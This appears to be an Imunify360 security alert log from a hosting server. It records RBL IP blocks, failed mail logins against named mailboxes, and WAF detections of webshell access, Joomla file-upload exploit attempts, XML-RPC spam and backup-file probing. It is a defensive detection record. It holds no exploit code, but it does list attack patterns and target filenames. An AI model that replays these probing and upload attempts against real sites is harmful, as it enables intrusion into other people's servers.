Jul 24 12:19:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.152.118.160
country_id: 1814991
description:
Jul 24 12:19:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.152.118.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.118.160
country_id: 1814991
description:
2026-07-24 12:19:57 dovecot_login authenticator failed for H=([36.154.20.34]) [39.152.118.160]:47738: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.184.65.81
country_id: 6252001
description:
Jul 24 12:20:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.184.65.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-24 12:20:15 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net (191.34.34.41.static.adsl.gvt.net.br) [70.184.65.81]:47465: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 12:24:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 165.22.198.217
country_id: 2750405
domain: img6kb79.ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-604506e6cdebae12722a0c47081f20e4.xml.PHP||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.50.154.199
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.38.18.165
country_id: 2215636
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:26813.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:39f829ca1e4045ae8c7bcb59042ad4bb645fce43||Title:0xcd3b9bce||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.139.36.144
country_id: 6251999
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/m.php||SC:/home/alnay/public_html/images/m.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 24 12:29:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.139.36.144
country_id: 6251999
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/alnay/public_html/wp-includes||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:jm_q7pzzaod.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/futuracarecom/public_html/index.php||User:futuracarecom||WPU:||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/jm_q7pzzaod.php||SC:/home/futuracarecom/public_html/images/jm_q7pzzaod.php||


plugin: modsec
rule: 77469916
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:Filedata||MV:jm_l5ez0aq5.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 12:31:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.65
country_id: 3686110
description:
2026-07-24 12:32:18 dovecot_login authenticator failed for H=([98.178.72.4]) [206.62.136.65]:37856: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-07-24 12:32:28 dovecot_login authenticator failed for H=([187.7.85.97]) [116.114.94.242]:50632: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.139.36.144
country_id: 6251999
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/uploads/autoload_classmap.php||SC:/home/alnay/public_html/uploads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 12:32:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.114.94.242
country_id: 1814991
description:
Jul 24 12:32:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.94.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.177.139.246
country_id: 298795
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:52490.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dd4d6ef269667d5072a13803528c3699d09d050e||Title:0xdc505d19||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.206
country_id: 1835841
description:
Jul 24 12:38:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 12:38:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-24 12:38:43 dovecot_login authenticator failed for H=([183.171.154.29]) [218.156.93.206]:47472: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 24 12:39:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-24 12:38:56 dovecot_login authenticator failed for H=([46.163.189.191]) [38.148.99.59]:43597: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 12:39:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://newsquare.net/index.php?title=Anv%C3%A4ndare:KateChapdelaine\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 12:39:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 187.15.158.198
country_id: 2782113
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_8c92ad4e.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 103.59.160.95
country_id: 1643084
domain: ibmctradeflow.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.35||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 12:47:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:fefkadirectors||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat.old||User:fefkadirectors||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat.txt.bak||User:fefkadirectors||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 12:53:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.237.155.150
country_id: 1835841
description:
Jul 24 12:53:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.237.155.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.90.248.108
country_id: 1814991
description:
Jul 24 12:54:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.90.248.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.90.248.108
country_id: 1814991
description:
2026-07-24 12:54:49 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [182.90.248.108]:47792: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-24 12:53:53 dovecot_login authenticator failed for H=(nsg-corporate-220.229.187.122.airtel.in) [1.237.155.150]:33574: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 24 12:53:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.130.91.83
country_id: 1269750
description:
Jul 24 12:54:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.130.91.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-24 12:54:05 dovecot_login authenticator failed for H=([118.98.90.22]) [103.130.91.83]:58306: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat.txt.backup||User:fefkadirectors||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat.bak||User:fefkadirectors||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.26.37.10
country_id: 298795
description:
2026-07-24 12:55:22 dovecot_login authenticator failed for H=([180.94.75.122]) [5.26.37.10]:43412: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.26.37.10
country_id: 298795
description:
Jul 24 12:55:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.26.37.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 12:56:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 115.147.38.123
country_id: 1694008
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:36136.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4562e2e2eeda3bc8c0c043066d2e0ce05e80d9ba||Title:0x63321575||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat.bak.old||User:fefkadirectors||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/htop/defunct.dat||User:fefkadirectors||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 77.83.200.168
country_id: 298795
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:ahsmarine||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 77.83.200.168
country_id: 298795
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:ahsmarine||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/htop/defunct.dat.old||User:fefkadirectors||


plugin: modsec
rule: 77469916
abuser: 206.189.38.28
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-889a76e5.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.152.118.160
country_id: 1814991
description:
Jul 24 12:59:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.152.118.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.118.160
country_id: 1814991
description:
2026-07-24 12:59:14 dovecot_login authenticator failed for H=([157.96.146.250]) [39.152.118.160]:61326: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.132.64.89
country_id: 2921044
description:
Jul 24 12:59:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.132.64.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-24 12:59:26 dovecot_login authenticator failed for H=([119.203.4.207]) [212.132.64.89]:54394: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 13:00:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.23.136.109
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat.old.bak||User:fefkadirectors||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 13:00:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 13:00:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


